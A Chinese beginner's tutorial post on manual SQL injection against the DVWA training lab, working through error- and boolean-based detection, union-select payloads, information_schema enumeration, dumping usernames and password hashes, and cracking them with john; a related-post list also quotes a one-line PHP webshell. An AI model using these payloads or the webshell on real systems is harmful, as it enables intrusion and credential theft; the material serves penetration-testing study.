小白日记39:kali渗透测试之Web渗透-SQL手工注入(一)-检测方法
SQL手工注入(一)
SQL注入:通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。【SQL注入原理】
##服务端程序将用户输入参数作为查询条件,直接拼接SQL语句,并将查询结果返回给客户端浏览器
用户登录判断
SELECT * FROM users WHERE user=‘uname' AND password=‘pass‘
SELECT * FROM users WHERE user=‘name' AND password='' OR ''='‘ 【OR:逻辑运算符,(password假)''或''('1'='1'真)】
SQL注入存在位置
表单、GET方式的URL
SQL检测方法
1、基于报错的检测方法(low)
' (单引号)

'' (尝试两个单引号)【结果:两两闭合】
#'a"b (单引号+a+双引号+b)

#'a"b' (单引号+a+双引号+b+')

则证明可以构造复杂的SQL语句进行注入
"
%
()
2、基于布尔的检测
First: 1' and '1'='1 等于 1' and '1 【猜测语句:select first_name,surname from users where id=' 1' and '1'='1 ' 】

Second: 1' and '1'='2 等于 1' and '0 【若无返回结果,则可验证上猜测语句】
3、表列数/显示信息位于哪一列
' order by 9-- (单引号+order by +空格+ 数字【该数字用于指定字段,可以填大而后猜确切列数】+ --+空格【一定要注意有空格,否则会语法错误 --:为注释】)
构造select语句
4、联合查询【为了在过滤的单引号后面,再运行查询语句】
union与union all 作用基本完全相同
First:' union select 1,2-- 【确定查询后结果在页面中出现位置】

Second:1' union select user(),2-- 【1替换成一个数据库默认函数user() 查询数据库用户】
' union select user(),version()-- 【将2替换成函数version() 查询版本】
database() 查询数据库名称
全局函数:@@datadir 查询数据库的文件位置
@@hostname 查询主机名
@@version_compile_os 查询操作系统版本
构造复杂的SQL语句
' union select database(),substring_index(USER(),"@",1)--
为方便查看指令,使用火狐插件hackbug,使用F9调出

绕过一些过滤不严的机制
CHAR() 将ASCII码转换为对应字符
连接字符
CONCAT_WS() 将多个函数连接在一起

计算MD5 【可用于使用别人的服务器资源来为自己做大量的数据运算】

了解数据库的数据结构
MySQL:所有的元数据都保存在一张元数据表【information_schema】
1、查看所有库所有表/统计库中表的数量
' union select table_name,table_schema from information_schema.tables--+ [所有库所有表]

' UNION select table_schema,count(*) FROM information_Schema.tables group by table_schema -- [统计每个库中表的数量]

2、 Dvwa库中的表名 【一个参数漏洞,也可造成拖库】
' union select table_name,table_schema from information_schema.tables where table_schema='dvwa'--+ 【通过表名猜测账号密码存放位置】

3、查询users表中所有的列(user_id、first_name、last_name、user、password、avatar)
' union select table_name,column_name from information_schema.columns where table_schema='dvwa' and table_name='users'--+

4、查询user、password列中的内容
' union select user,password from dvwa.users--+
' union select user,password from users--+
' union select null, concat(user,0x3a,password) from users--+ 【concat:连接,需指定分隔符】
5、密码破解
猜测密码算法:hash-identifier

username:passhash ——> dvwa.txt 【将账号:密码整理成一个文本文件】

工具:
john --format=raw-MD5 dvwa.txt

小白日记39:kali渗透测试之Web渗透-SQL手工注入(一)-检测方法的更多相关文章
- 小白日记41:kali渗透测试之Web渗透-SQL手工注入(三)-猜测列名、表名、库名、字段内容,数据库写入
SQL手工注入 靶机:metasploitable(低) 1.当无权读取infomation_schema库[MySQL最重要的源数据库,必须有root权限]/拒绝union.order by语句 ...
- 小白日记28:kali渗透测试之Web渗透-扫描工具-Nikto
扫描工具-Nikto #WEB渗透 靶机:metasploitable 靶场:DVWA[默认账号/密码:admin/password] #新手先将DVWA的安全性,调到最低,可容易发现漏洞 侦察[减少 ...
- 小白日记30:kali渗透测试之Web渗透-扫描工具-Skipfish
WEB渗透-skipfish Skipfish是一个命令行模式,以C语言编写的积极的Web应用程序的安全性侦察工具,没有代理模式. 它准备了一个互动为目标的网站的站点地图进行一个递归爬网和基于字典的探 ...
- 小白日记50:kali渗透测试之Web渗透-CSRF
CSRF CSRF原理:经常与XSS混淆. 从信任的角度进行区分:XSS:利用用户对站点的信任:CSRF:利用站点对已经身份认证的信任(有一定的信任)[默认情况:站点不信任客户端] 结合社工在身份认证 ...
- 小白日记45:kali渗透测试之Web渗透-SqlMap自动注入(三)-sqlmap参数详解-Optimization,Injection,Detection,Techniques,Fingerprint
sqlmap自动注入 Optimization [优化性能参数,可提高效率] -o:指定前三个参数(--predict-output.--keep-alive.--null-connection) - ...
- 小白日记43:kali渗透测试之Web渗透-SqlMap自动注入(一)-sqlmap参数详解TARGET
SqlMap自动注入(一) sqlmap是一款非常强大的开源sql自动化注入工具,可以用来检测和利用sql注入漏洞[动态页面中get/post参数.cookie.HTTP头].它由Python语言开发 ...
- 小白日记51:kali渗透测试之Web渗透-WebShell(中国菜刀、WeBaCoo、Weevely)
webshell 本质:<?php echo shell_exec($_GET['cmd']);?> windows平台 中国菜刀官网:胖客户端程序,国产中比较优秀的webshell,适用 ...
- 小白日记54:kali渗透测试之Web渗透-补充概念(AJAX,WEB Service)
补充概念 AJAX(异步javascript和XML) Asynchronous javascript and xml 是一个概念,而非一种新的编程语言,是一组现有技术的组合 通过客户端脚本动态更新页 ...
- 小白日记52:kali渗透测试之Web渗透-HTTPS攻击(Openssl、sslscan、sslyze、检查SSL的网站)
HTTPS攻击 全站HTTPS正策划稿那位潮流趋势 如:百度.阿里 HTTPS的作用 CIA 解决的是信息传输过程中数据被篡改.窃取 [从中注入恶意代码,多为链路劫持] 加密:对称.非对称.单向 HT ...
随机推荐
- C语言-简单哈希表(hash table)
腾讯三面的时候,叫我写了个哈希表,当时紧张没写好···结果跪了··· 回来后粪发涂墙,赶紧写了一个! 什么都不说了···先让我到厕所里面哭一会··· %>_<% 果然现场发挥,以及基础扎实 ...
- <Stackoverflow> 声望和节制
什么是声望(reputation)?我是怎样获得(或失去)它的? 声望是一种粗略的测量,用来表示社区对你的信任度.通过让别人相信你知道自己正在讨论什么来获得.对网站的基本使用,包括问一个问题,回答,建 ...
- Java Thread.interrupt 害人! 中断JAVA线程(zz)
http://www.blogjava.net/jinfeng_wang/archive/2012/04/22/196477.html#376322 ————————————————————————— ...
- firefox 对相对定位的TD元素渲染错误
<!DOCTYPE html> <html> <head> <title></title> <meta http-equiv=&quo ...
- Struts2的运行流程以及关键拦截器介绍
Struts2的运行流程 1.ActionProxy是Action的一个代理类,也就是说Action的调用是通过ActionProxy实现的,其实就是调用了ActionProxy.execute()方 ...
- Struts2在Action中访问WEB资源
什么是WEB资源? 这里所说的WEB资源是指:HttpServletRequest, HttpSession, ServletContext 等原生的 Servlet API. 为什么需要访问WEB资 ...
- Android问题-打开DelphiXE8与DelphiXE10编译空工程提示“[Exec Error] The command exited with code 1.”
问题情况:开发了半天的D2007代码,想测试一个安桌程序,发现新建空工程,提示失败. 提示如下 Exec Error] The command PATH C:\Program Files (x86)\ ...
- Beginning OpenGL ES 2.0 with GLKit Part 1
Update 10/24/12: If you’d like a new version of this tutorial fully updated for iOS 6 and Xcode 4.5, ...
- POJ 3660 Cow Contest (Floyd)
http://poj.org/problem?id=3660 题目大意:n头牛两两比赛经过m场比赛后能判断名次的有几头可转 化为路径问题,用Floyd将能够到达的路径标记为1,如果一个点能 够到达剩余 ...
- 内存映射文件详解-----C++实现
先不说内存映射文件是什么.贴个代码先,. #include <iostream> #include <fcntl.h> #include <io.h> #inclu ...